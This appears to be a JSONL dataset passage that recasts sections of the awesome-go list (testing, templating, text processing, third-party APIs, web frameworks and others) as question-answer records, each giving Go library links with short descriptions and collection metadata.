[riemann-relay](https://github.com/blind-oracle/riemann-relay) - Relay to load-balance Riemann events and/or convert them to Carbon.\n- [RoadRunner](https://github.com/spiral/roadrunner) - High-performance PHP application server, load-balancer and process manager.\n- [SFTPGo](https://github.com/drakkan/sftpgo) - Fully featured and highly configurable SFTP server with optional FTP/S and WebDAV support. It can serve local filesystem and Cloud Storage backends such as S3 and Google Cloud Storage.\n- [Trickster](https://github.com/tricksterproxy/trickster) - HTTP reverse proxy cache and time series accelerator.\n- [wd-41](https://github.com/baalimago/wd-41) - A (w)eb (d)evelopment server with automatic live-reload on file changes.\n- [Wish](https://github.com/charmbracelet/wish) - Make SSH apps, just like that!\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082938"}
{"id": "gh_70a673586211", "question": "How to: Stream Processing", "question_body": "About avelino/awesome-go", "answer": "_Libraries and tools for stream processing and reactive programming._\n\n- [go-etl](https://github.com/Breeze0806/go-etl) - A lightweight toolkit for data source extraction, transformation, and loading (ETL).\n- [go-streams](https://github.com/reugn/go-streams) - Go stream processing library.\n- [goio](https://github.com/primetalk/goio) - An implementation of IO, Stream, Fiber for Golang, inspired by awesome Scala libraries cats and fs2.\n- [gostream](https://github.com/mariomac/gostream) - Type-safe stream processing library inspired by the Java Streams API.\n- [machine](https://github.com/whitaker-io/machine) - Go library for writing and generating stream workers with built in metrics and traceability.\n- [nibbler](https://github.com/naughtygopher/nibbler) - A lightweight package for micro batch processing.\n- [ro](https://github.com/samber/ro) - Reactive Programming: declarative and composable API for event-driven applications.\n- [stream](https://github.com/youthlin/stream) - Go Stream, like Java 8 Stream: Filter/Map/FlatMap/Peek/Sorted/ForEach/Reduce...\n- [StreamSQL](https://github.com/rulego/streamsql) - A lightweight streaming SQL engine for real-time data processing.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082946"}
{"id": "gh_ea44fec9872c", "question": "How to: Template Engines", "question_body": "About avelino/awesome-go", "answer": "_Libraries and tools for templating and lexing._\n\n- [ego](https://github.com/benbjohnson/ego) - Lightweight templating language that lets you write templates in Go. Templates are translated into Go and compiled.\n- [extemplate](https://git.sr.ht/~dvko/extemplate) - Tiny wrapper around html/template to allow for easy file-based template inheritance.\n- [fasttemplate](https://github.com/valyala/fasttemplate) - Simple and fast template engine. Substitutes template placeholders up to 10x faster than [text/template](https://golang.org/pkg/text/template/).\n- [gomponents](https://www.gomponents.com) - HTML 5 components in pure Go, that look something like this: `func(name string) g.Node { return Div(Class(\"headline\"), g.Textf(\"Hi %v!\", name)) }`.\n- [got](https://github.com/goradd/got) - A Go code generator inspired by Hero and Fasttemplate. Has include files, custom tag definitions, injected Go code, language translation, and more.\n- [goview](https://github.com/foolin/goview) - Goview is a lightweight, minimalist and idiomatic template library based on golang html/template for building Go web application.\n- [htmgo](https://htmgo.dev) - build simple and scalable systems with go + htmx\n- [jet](https://github.com/CloudyKit/jet) - Jet template engine.\n- [liquid](https://github.com/osteele/liquid) - Go implementation of Shopify Liquid templates.\n- [maroto](https://github.com/johnfercher/maroto) - A maroto way to create PDFs. Maroto is inspired in Bootstrap and uses gofpdf. Fast and simple.\n- [pongo2](https://github.com/flosch/pongo2) - Django-like template-engine for Go.\n- [quicktemplate](https://github.com/valyala/quicktemplate) - Fast, powerful, yet easy to use template engine. Converts templates into Go code and then compiles it.\n- [Razor](https://github.com/sipin/gorazor) - Razor view engine for Golang.\n- [Soy](https://github.com/robfig/soy) - Closure templates (aka Soy templates) for Go, following the [official spec](https://developers.google.com/closure/templates/).\n- [sprout](https://github.com/go-sprout/sprout) - Useful template functions for Go templates.\n- [tbd](https://github.com/lucasepe/tbd) - A really simple way to create text templates with placeholders - exposes extra builtin Git repo metadata.\n- [templ](https://github.com/a-h/templ) - A HTML templating language that has great developer tooling.\n- [templator](https://github.com/alesr/templator) - A type-safe HTML template rendering engine for Go.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082955"}
{"id": "gh_44f794c0d5a1", "question": "How to: Testing Frameworks", "question_body": "About avelino/awesome-go", "answer": "- [apitest](https://apitest.dev) - Simple and extensible behavioural testing library for REST based services or HTTP handlers that supports mocking external http calls and rendering of sequence diagrams.\n- [arch-go](https://github.com/arch-go/arch-go) - Architecture testing tool for Go projects.\n- [assert](https://github.com/go-playground/assert) - Basic Assertion Library used along side native go testing, with building blocks for custom assertions.\n- [baloo](https://github.com/h2non/baloo) - Expressive and versatile end-to-end HTTP API testing made easy.\n- [be](https://github.com/carlmjohnson/be) - The minimalist generic test assertion library.\n- [biff](https://github.com/fulldump/biff) - Bifurcation testing framework, BDD compatible.\n- [charlatan](https://github.com/percolate/charlatan) - Tool to generate fake interface implementations for tests.\n- [commander](https://github.com/SimonBaeumer/commander) - Tool for testing cli applications on windows, linux and osx.\n- [cupaloy](https://github.com/bradleyjkemp/cupaloy) - Simple snapshot testing addon for your test framework.\n- [dbcleaner](https://github.com/khaiql/dbcleaner) - Clean database for testing purpose, inspired by `database_cleaner` in Ruby.\n- [dft](https://github.com/abecodes/dft) - Lightweight, zero dependency docker containers for testing (or more).\n- [dsunit](https://github.com/viant/dsunit) - Datastore testing for SQL, NoSQL, structured files.\n- [embedded-postgres](https://github.com/fergusstrange/embedded-postgres) - Run a real Postgres database locally on Linux, OSX or Windows as part of another Go application or test.\n- [endly](https://github.com/viant/endly) - Declarative end to end functional testing.\n- [envite](https://github.com/PerimeterX/envite) - Dev and testing environment management framework.\n- [fixenv](https://github.com/rekby/fixenv) - Fixture manage engine, inspired by pytest fixtures.\n- [flute](https://github.com/suzuki-shunsuke/flute) - HTTP client testing framework.\n- [frisby](https://github.com/verdverm/frisby) - REST API testing framework.\n- [gherkingen](https://github.com/hedhyw/gherkingen) - BDD boilerplate generator and framework.\n- [ginkgo](https://onsi.github.io/ginkgo/) - BDD Testing Framework for Go.\n- [gnomock](https://github.com/orlangure/gnomock) - integration testing with real dependencies (database, cache, even Kubernetes or AWS) running in Docker, without mocks.\n- [go-carpet](https://github.com/msoap/go-carpet) - Tool for viewing test coverage in terminal.\n- [go-cmp](https://github.com/google/go-cmp) - Package for comparing Go values in tests.\n- [go-hit](https://github.com/Eun/go-hit) - Hit is an http integration test framework written in golang.\n- [go-httpbin](https://github.com/mccutchen/go-httpbin) - HTTP testing and debugging tool with various endpoints for client testing.\n- [go-mutesting](https://github.com/zimmski/go-mutesting) - Mutation testing for Go source code.\n- [go-mysql-test-container](https://github.com/arikama/go-mysql-test-container) - Golang MySQL testcontainer to help with MySQL integration testing.\n- [go-snaps](http://github.com/gkampitakis/go-snaps) - Jest-like snapshot testing in Golang.\n- [go-test-coverage](https://github.com/vladopajic/go-test-coverage) - Tool that reports coverage of files below set threshold.\n- [go-testdeep](https://github.com/maxatome/go-testdeep) - Extremely flexible golang deep comparison, extends the go testing package.\n- [go-testpredicate](https://github.com/maargenton/go-testpredicate) - Test predicate style assertions library with extensive diagnostics output.\n- [go-vcr](https://github.com/dnaeon/go-vcr) - Record and replay your HTTP interactions for fast, deterministic and accurate tests.\n- [goblin](https://github.com/franela/goblin) - Mocha like testing framework of Go.\n- [goc](https://github.com/qiniu/goc) - Goc is a comprehensive coverage testing system for The Go Programming Language.\n- [gocheck](https://labix.org/gocheck) - More advanced testing framework alternative to gotest.\n- [GoConvey](https://github.com/smartystreets/goconvey/) - BDD-style framework with web UI and live reload.\n- [gocrest](https://github.com/corbym/gocrest) - Composable hamcrest-like matchers for Go assertions.\n- [godog](https://github.com/cucumber/godog) - Cucumber BDD framework for Go.\n- [gofight](https://github.com/appleboy/gofight) - API Handler Testing for Golang Router framework.\n- [gogiven](https://github.com/corbym/gogiven) - YATSPEC-like BDD testing framework for Go.\n- [gomatch](https://github.com/jfilipczyk/gomatch) - library created for testing JSON against patterns.\n- [gomega](https://onsi.github.io/gomega/) - Rspec like matcher/assertion library.\n- [Gont](https://github.com/stv0g/gont) - Go network testing toolkit for testing building complex network topologies using Linux namespaces.\n- [gospecify](https://github.com/stesla/gospecify) - This provides a BDD syntax for testing your Go code. It should be familiar to anybody who has used libraries such as rspec.\n- [gosuite]", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082972"}
{"id": "gh_ed1fa5123496", "question": "How to: Fuzzing and delta-debugging/reducing/shrinking", "question_body": "About avelino/awesome-go", "answer": "- [go-fuzz](https://github.com/dvyukov/go-fuzz) - Randomized testing system.\n- [Tavor](https://github.com/zimmski/tavor) - Generic fuzzing and delta-debugging framework.", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082979"}
{"id": "gh_c384b87438e7", "question": "How to: Selenium and browser control tools", "question_body": "About avelino/awesome-go", "answer": "- [cdp](https://github.com/mafredri/cdp) - Type-safe bindings for the Chrome Debugging Protocol that can be used with browsers or other debug targets that implement it.\n- [chromedp](https://github.com/knq/chromedp) - a way to drive/test Chrome, Safari, Edge, Android Webviews, and other browsers supporting the Chrome Debugging Protocol.\n- [playwright-go](https://github.com/mxschmitt/playwright-go) - browser automation library to control Chromium, Firefox and WebKit with a single API.\n- [rod](https://github.com/go-rod/rod) - A Devtools driver to make web automation and scraping easy.", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082984"}
{"id": "gh_1fb5412b9d9f", "question": "How to: Fail injection", "question_body": "About avelino/awesome-go", "answer": "- [failpoint](https://github.com/pingcap/failpoint) - An implementation of [failpoints](https://www.freebsd.org/cgi/man.cgi?query=fail) for Golang.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082989"}
{"id": "gh_74908f214131", "question": "How to: Text Processing", "question_body": "About avelino/awesome-go", "answer": "_Libraries for parsing and manipulating texts._\n\nSee also [Natural Language Processing](#natural-language-processing) and [Text Analysis](#text-analysis).", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082993"}
{"id": "gh_f1aa71404a0e", "question": "How to: Formatters", "question_body": "About avelino/awesome-go", "answer": "- [address](https://github.com/bojanz/address) - Handles address representation, validation and formatting.\n- [align](https://github.com/Guitarbum722/align) - A general purpose application that aligns text.\n- [bytes](https://github.com/labstack/gommon/tree/master/bytes) - Formats and parses numeric byte values (10K, 2M, 3G, etc.).\n- [go-fixedwidth](https://github.com/ianlopshire/go-fixedwidth) - Fixed-width text formatting (encoder/decoder with reflection).\n- [go-humanize](https://github.com/dustin/go-humanize) - Formatters for time, numbers, and memory size to human readable format.\n- [gotabulate](https://github.com/bndr/gotabulate) - Easily pretty-print your tabular data with Go.\n- [sq](https://github.com/neilotoole/sq) - Convert data from SQL databases or document formats like CSV or Excel into formats such as JSON, Excel, CSV, HTML, Markdown, XML, and YAML.\n- [textwrap](https://github.com/isbm/textwrap) - Wraps text at end of lines. Implementation of `textwrap` module from Python.", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082999"}
{"id": "gh_90b4fa3ef7da", "question": "How to: Markup Languages", "question_body": "About avelino/awesome-go", "answer": "- [bafi](https://github.com/mmalcek/bafi) - Universal JSON, BSON, YAML, XML translator to ANY format using templates.\n- [bbConvert](https://github.com/CalebQ42/bbConvert) - Converts bbCode to HTML that allows you to add support for custom bbCode tags.\n- [blackfriday](https://github.com/russross/blackfriday) - Markdown processor in Go.\n- [go-output-format](https://github.com/drewstinnett/go-output-format) - Output go structures into multiple formats (YAML/JSON/etc) in your command line app.\n- [go-toml](https://github.com/pelletier/go-toml) - Go library for the TOML format with query support and handy cli tools.\n- [goldmark](https://github.com/yuin/goldmark) - A Markdown parser written in Go. Easy to extend, standard (CommonMark) compliant, well structured.\n- [goq](https://github.com/andrewstuart/goq) - Declarative unmarshalling of HTML using struct tags with jQuery syntax (uses GoQuery).\n- [html-to-markdown](https://github.com/JohannesKaufmann/html-to-markdown) - Convert HTML to Markdown. Even works with entire websites and can be extended through rules.\n- [htmlquery](https://github.com/antchfx/htmlquery) - An XPath query package for HTML, lets you extract data or evaluate from HTML documents by an XPath expression.\n- [htmlyaml](https://github.com/nikolaydubina/htmlyaml) - Rich rendering of YAML as HTML in Go.\n- [htree](https://github.com/bobg/htree) - Traverse, navigate, filter, and otherwise process trees of [html.Node](https://pkg.go.dev/golang.org/x/net/html#Node) objects.\n- [mxj](https://github.com/clbanning/mxj) - Encode / decode XML as JSON or map[string]interface{}; extract values with dot-notation paths and wildcards. Replaces x2j and j2x packages.\n- [toml](https://github.com/BurntSushi/toml) - TOML configuration format (encoder/decoder with reflection).", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.083006"}
{"id": "gh_3883c7d45e45", "question": "How to: Parsers/Encoders/Decoders", "question_body": "About avelino/awesome-go", "answer": "- [allot](https://github.com/sbstjn/allot) - Placeholder and wildcard text parsing for CLI tools and bots.\n- [codetree](https://github.com/aerogo/codetree) - Parses indented code (python, pixy, scarlet, etc.) and returns a tree structure.\n- [commonregex](https://github.com/mingrammer/commonregex) - A collection of common regular expressions for Go.\n- [did](https://github.com/ockam-network/did) - DID (Decentralized Identifiers) Parser and Stringer in Go.\n- [doi](https://github.com/hscells/doi) - Document object identifier (doi) parser in Go.\n- [editorconfig-core-go](https://github.com/editorconfig/editorconfig-core-go) - Editorconfig file parser and manipulator for Go.\n- [encdec](https://github.com/mickep76/encdec) - Package provides a generic interface to encoders and decoders.\n- [go-fasttld](https://github.com/elliotwutingfeng/go-fasttld) - High performance effective top level domains (eTLD) extraction module.\n- [go-nmea](https://github.com/adrianmo/go-nmea) - NMEA parser library for the Go language.\n- [go-querystring](https://github.com/google/go-querystring) - Go library for encoding structs into URL query parameters.\n- [go-vcard](https://github.com/emersion/go-vcard) - Parse and format vCard.\n- [godump](https://github.com/yassinebenaid/godump) - Pretty print any GO variable with ease, an alternative to Go's `fmt.Printf(\"%#v\")`.\n- [godump (goforj)](https://github.com/goforj/godump) - Pretty-print Go structs with Laravel/Symfony-style dumps, full type info, colorized CLI output, cycle detection, and private field access.\n- [gofeed](https://github.com/mmcdole/gofeed) - Parse RSS and Atom feeds in Go.\n- [gographviz](https://github.com/awalterschulze/gographviz) - Parses the Graphviz DOT language.\n- [gonameparts](https://github.com/polera/gonameparts) - Parses human names into individual name parts.\n- [ltsv](https://github.com/Wing924/ltsv) - High performance [LTSV (Labeled Tab Separated Value)](http://ltsv.org/) reader for Go.\n- [normalize](https://github.com/avito-tech/normalize) - Sanitize, normalize and compare fuzzy text.\n- [parseargs-go](https://github.com/nproc/parseargs-go) - string argument parser that understands quotes and backslashes.\n- [prattle](https://github.com/askeladdk/prattle) - Scan and parse LL(1) grammars simply and efficiently.\n- [sh](https://github.com/mvdan/sh) - Shell parser and formatter.\n- [tokenizer](https://github.com/bzick/tokenizer) - Parse any string, slice or infinite buffer to any tokens.\n- [vdf](https://github.com/andygrunwald/vdf) - A Lexer and Parser for Valves Data Format (known as vdf) written in Go.\n- [when](https://github.com/olebedev/when) - Natural EN and RU language date/time parser with pluggable rules.\n- [xj2go](https://github.com/stackerzzq/xj2go) - Convert xml or json to go struct.", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.083014"}
{"id": "gh_54c6802a5694", "question": "How to: Regular Expressions", "question_body": "About avelino/awesome-go", "answer": "- [genex](https://github.com/alixaxel/genex) - Count and expand Regular Expressions into all matching Strings.\n- [go-wildcard](https://github.com/IGLOU-EU/go-wildcard) - Simple and lightweight wildcard pattern matching.\n- [goregen](https://github.com/zach-klippenstein/goregen) - Library for generating random strings from regular expressions.\n- [regroup](https://github.com/oriser/regroup) - Match regex expression named groups into go struct using struct tags and automatic parsing.\n- [rex](https://github.com/hedhyw/rex) - Regular expressions builder.", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.083019"}
{"id": "gh_e4aac5ff3f2c", "question": "How to: Sanitation", "question_body": "About avelino/awesome-go", "answer": "- [bluemonday](https://github.com/microcosm-cc/bluemonday) - HTML Sanitizer.\n- [gofuckyourself](https://github.com/JoshuaDoes/gofuckyourself) - A sanitization-based swear filter for Go.", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.083023"}
{"id": "gh_0b8aa0bde7e6", "question": "How to: Utility/Miscellaneous", "question_body": "About avelino/awesome-go", "answer": "- [go-runewidth](https://github.com/mattn/go-runewidth) - Functions to get fixed width of the character or string.\n- [kace](https://github.com/codemodus/kace) - Common case conversions covering common initialisms.\n- [lancet](https://github.com/duke-git/lancet) - A comprehensive, Lodash-like utility library for Go\n- [petrovich](https://github.com/striker2000/petrovich) - Petrovich is the library which inflects Russian names to given grammatical case.\n- [radix](https://github.com/yourbasic/radix) - Fast string sorting algorithm.\n- [TySug](https://github.com/Dynom/TySug) - Alternative suggestions with respect to keyboard layouts.\n- [w2vgrep](https://github.com/arunsupe/semantic-grep) - A semantic grep tool using word embeddings to find semantically similar matches. For example, searching for \"death\" will find \"dead\", \"killing\", \"murder\".\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.083031"}
{"id": "gh_998303960e09", "question": "How to: Third-party APIs", "question_body": "About avelino/awesome-go", "answer": "_Libraries for accessing third party APIs._\n\n- [airtable](https://github.com/mehanizm/airtable) - Go client library for the [Airtable API](https://airtable.com/api).\n- [anaconda](https://github.com/ChimeraCoder/anaconda) - Go client library for the Twitter 1.1 API.\n- [appstore-sdk-go](https://github.com/Kachit/appstore-sdk-go) - Unofficial Golang SDK for AppStore Connect API.\n- [aws-encryption-sdk-go](https://github.com/chainifynet/aws-encryption-sdk-go) - Unofficial Go SDK implementation of the [AWS Encryption SDK](https://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/index.html).\n- [aws-sdk-go](https://github.com/aws/aws-sdk-go-v2) - The official AWS SDK for the Go programming language.\n- [bqwriter](https://github.com/OTA-Insight/bqwriter) - High Level Go Library to write data into [Google BigQuery](https://cloud.google.com/bigquery) at a high throughout.\n- [brewerydb](https://github.com/naegelejd/brewerydb) - Go library for accessing the BreweryDB API.\n- [cachet](https://github.com/andygrunwald/cachet) - Go client library for [Cachet (open source status page system)](https://cachethq.io/).\n- [circleci](https://github.com/jszwedko/go-circleci) - Go client library for interacting with CircleCI's API.\n- [clarifai](https://github.com/samuelcouch/clarifai) - Go client library for interfacing with the Clarifai API.\n- [codeship-go](https://github.com/codeship/codeship-go) - Go client library for interacting with Codeship's API v2.\n- [coinpaprika-go](https://github.com/coinpaprika/coinpaprika-api-go-client) - Go client library for interacting with Coinpaprika's API.\n- [device-check-go](https://github.com/rinchsan/device-check-go) - Go client library for interacting with [iOS DeviceCheck API](https://developer.apple.com/documentation/devicecheck) v1.\n- [discordgo](https://github.com/bwmarrin/discordgo) - Go bindings for the Discord Chat API.\n- [disgo](https://github.com/switchupcb/disgo) - Go API Wrapper for the Discord API.\n- [dusupay-sdk-go](https://github.com/Kachit/dusupay-sdk-go) - Unofficial Dusupay payment gateway API Client for Go\n- [ethrpc](https://github.com/onrik/ethrpc) - Go bindings for Ethereum JSON RPC API.\n- [facebook](https://github.com/huandu/facebook) - Go Library that supports the Facebook Graph API.\n- [fasapay-sdk-go](https://github.com/Kachit/fasapay-sdk-go) - Unofficial Fasapay payment gateway XML API Client for Golang.\n- [fcm](https://github.com/maddevsio/fcm) - Go library for Firebase Cloud Messaging.\n- [gads](https://github.com/emiddleton/gads) - Google Adwords Unofficial API.\n- [gcm](https://github.com/Aorioli/gcm) - Go library for Google Cloud Messaging.\n- [geo-golang](https://github.com/codingsince1985/geo-golang) - Go Library to access [Google Maps](https://developers.google.com/maps/documentation/geocoding/intro), [MapQuest](https://developer.mapquest.com/documentation/api/geocoding/), [Nominatim](https://nominatim.org/release-docs/latest/api/Overview/), [OpenCage](https://opencagedata.com/api), [Bing](https://msdn.microsoft.com/en-us/library/ff701715.aspx), [Mapbox](https://www.mapbox.com/developers/api/geocoding/), and [OpenStreetMap](https://wiki.openstreetmap.org/wiki/Nominatim) geocoding / reverse geocoding APIs.\n- [github](https://github.com/google/go-github) - Go library for accessing the GitHub REST API v3.\n- [githubql](https://github.com/shurcooL/githubql) - Go library for accessing the GitHub GraphQL API v4.\n- [go-atlassian](https://github.com/ctreminiom/go-atlassian) - Go library for accessing the [Atlassian Cloud](https://www.atlassian.com/enterprise/cloud) services (Jira, Jira Service Management, Jira Agile, Confluence, Admin Cloud)\n- [go-aws-news](https://github.com/circa10a/go-aws-news) - Go application and library to fetch what's new from AWS.\n- [go-chronos](https://github.com/axelspringer/go-chronos) - Go library for interacting with the [Chronos](https://mesos.github.io/chronos/) Job Scheduler\n- [go-gerrit](https://github.com/andygrunwald/go-gerrit) - Go client library for [Gerrit Code Review](https://www.gerritcodereview.com/).\n- [go-hacknews](https://github.com/PaulRosset/go-hacknews) - Tiny Go client for HackerNews API.\n- [go-here](https://github.com/abdullahselek/go-here) - Go client library around the HERE location based APIs.\n- [go-hibp](https://github.com/wneessen/go-hibp) - Simple Go binding to the \"Have I Been Pwned\" APIs.\n- [go-imgur](https://github.com/koffeinsource/go-imgur) - Go client library for [imgur](https://imgur.com)\n- [go-jira](https://github.com/andygrunwald/go-jira) - Go client library for [Atlassian JIRA](https://www.atlassian.com/software/jira)\n- [go-lark](https://github.com/go-lark/lark) - An easy-to-use unofficial SDK for [Feishu](https://open.feishu.cn/) and [Lark](https://open.larksuite.com/) Open Platform.\n- [go-marathon](https://github.com/gambol99/go-marathon) - Go library for interacting with Mesosphere's Marathon PAAS.\n- [go-myanimelist](https://github.com/nstratos/go-myanimelist) - Go client library for accessing the [", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.083065"}
{"id": "gh_e8bd40dbbfbd", "question": "How to: Validation", "question_body": "About avelino/awesome-go", "answer": "_Libraries for validation._\n\n- [checkdigit](https://github.com/osamingo/checkdigit) - Provide check digit algorithms (Luhn, Verhoeff, Damm) and calculators (ISBN, EAN, JAN, UPC, etc.).\n- [go-validator](https://github.com/tiendc/go-validator) - Validation library using Generics.\n- [gody](https://github.com/guiferpa/gody) - :balloon: A lightweight struct validator for Go.\n- [govalid](https://github.com/twharmon/govalid) - Fast, tag-based validation for structs.\n- [govalidator](https://github.com/asaskevich/govalidator) - Validators and sanitizers for strings, numerics, slices and structs.\n- [govalidator](https://github.com/thedevsaddam/govalidator) - Validate Golang request data with simple rules. Highly inspired by Laravel's request validation.\n- [hvalid](https://github.com/lyonnee/hvalid) hvalid is a lightweight validation library written in Go language. It provides a custom validator interface and a series of common validation functions to help developers quickly implement data validation.\n- [jio](https://github.com/faceair/jio) - jio is a json schema validator similar to [joi](https://github.com/hapijs/joi).\n- [ozzo-validation](https://github.com/go-ozzo/ozzo-validation) - Supports validation of various data types (structs, strings, maps, slices, etc.) with configurable and extensible validation rules specified in usual code constructs instead of struct tags.\n- [validate](https://github.com/gookit/validate) - Go package for data validation and filtering. support validate Map, Struct, Request(Form, JSON, url.Values, Uploaded Files) data and more features.\n- [validate](https://github.com/gobuffalo/validate) - This package provides a framework for writing validations for Go applications.\n- [validator](https://github.com/go-playground/validator) - Go Struct and Field validation, including Cross Field, Cross Struct, Map, Slice and Array diving.\n- [Validator](https://github.com/go-the-way/validator) - A lightweight model validator written in Go.Contains VFs:Min, Max, MinLength, MaxLength, Length, Enum, Regex.\n- [valix](https://github.com/marrow16/valix) Go package for validating requests\n- [Zog](https://github.com/Oudwins/zog) - A [Zod](https://github.com/colinhacks/zod) inspired schema builder for runtime value parsing and validation.\n  **[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.083113"}
{"id": "gh_c2f18b1c5405", "question": "How to: Version Control", "question_body": "About avelino/awesome-go", "answer": "_Libraries for version control._\n\n- [cli](https://gitlab.com/gitlab-org/cli) - An open-source GitLab command line tool bringing GitLab's cool features to your command line.\n- [froggit-go](https://github.com/jfrog/froggit-go) - Froggit-Go is a Go library, allowing to perform actions on VCS providers.\n- [git2go](https://github.com/libgit2/git2go) - Go bindings for libgit2.\n- [githooks](https://github.com/gabyx/githooks) - Per-repo and shared Git hooks with version control and auto update.\n- [go-git](https://github.com/go-git/go-git) - highly extensible Git implementation in pure Go.\n- [go-vcs](https://github.com/sourcegraph/go-vcs) - manipulate and inspect VCS repositories in Go.\n- [hercules](https://github.com/src-d/hercules) - gaining advanced insights from Git repository history.\n- [hgo](https://github.com/beyang/hgo) - Hgo is a collection of Go packages providing read-access to local Mercurial repositories.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.083120"}
{"id": "gh_b718b4b5ad57", "question": "How to: Web Frameworks", "question_body": "About avelino/awesome-go", "answer": "_Full stack web frameworks._\n\n- [Atreugo](https://github.com/savsgio/atreugo) - High performance and extensible micro web framework with zero memory allocations in hot paths.\n- [Barf](https://github.com/opensaucerer/barf) - Basically, A Remarkable Framework for building JSON-based web APIs. It is entirely unobtrusive and re-invents no wheel. It is crafted such that getting started is easy and quick while being flexible enough for more complex use cases.\n- [Beego](https://github.com/beego/beego) - beego is an open-source, high-performance web framework for the Go programming language.\n- [Confetti Framework](https://confetti-framework.github.io/docs/) - Confetti is a Go web application framework with an expressive, elegant syntax. Confetti combines the elegance of Laravel and the simplicity of Go.\n- [Don](https://github.com/abemedia/go-don) - A highly performant and simple to use API framework.\n- [Echo](https://github.com/labstack/echo) - High performance, minimalist Go web framework.\n- [Fastschema](https://github.com/fastschema/fastschema) - A flexible Go web framework and Headless CMS.\n- [Fiber](https://github.com/gofiber/fiber) - An Express.js inspired web framework build on Fasthttp.\n- [Flamingo](https://github.com/i-love-flamingo/flamingo) - Framework for pluggable web projects. Including a concept for modules and offering features for DI, Configareas, i18n, template engines, graphql, observability, security, events, routing & reverse routing etc.\n- [Flamingo Commerce](https://github.com/i-love-flamingo/flamingo-commerce) - Providing e-commerce features using clean architecture like DDD and ports and adapters, that you can use to build flexible e-commerce applications.\n- [Fuego](https://github.com/go-fuego/fuego) - The framework for busy Go developers! Web framework generating OpenAPI 3 spec from source code.\n- [Gin](https://github.com/gin-gonic/gin) - Gin is a web framework written in Go! It features a martini-like API with much better performance, up to 40 times faster. If you need performance and good productivity.\n- [Ginrpc](https://github.com/xxjwxc/ginrpc) - Gin parameter automatic binding tool,gin rpc tools.\n- [go-api-boot](https://github.com/SaiNageswarS/go-api-boot) - A gRpc-first micro-service framework. Features include ODM support for Mongo, cloud resource support (AWS/Azure/Google), and a fluent dependency injection which is customized for gRpc. Additionally, grpc-web is supported directly, enabling browser access to all gRpc APIs without a proxy.\n- [Goa](https://github.com/goadesign/goa) - Goa provides a holistic approach for developing remote APIs and microservices in Go.\n- [GoFr](https://github.com/gofr-dev/gofr) - Gofr is an opinionated microservice development framework.\n- [GoFrame](https://github.com/gogf/gf) - GoFrame is a modular, powerful, high-performance and enterprise-class application development framework of Golang.\n- [golamb](https://github.com/twharmon/golamb) - Golamb makes it easier to write API endpoints for use with AWS Lambda and API 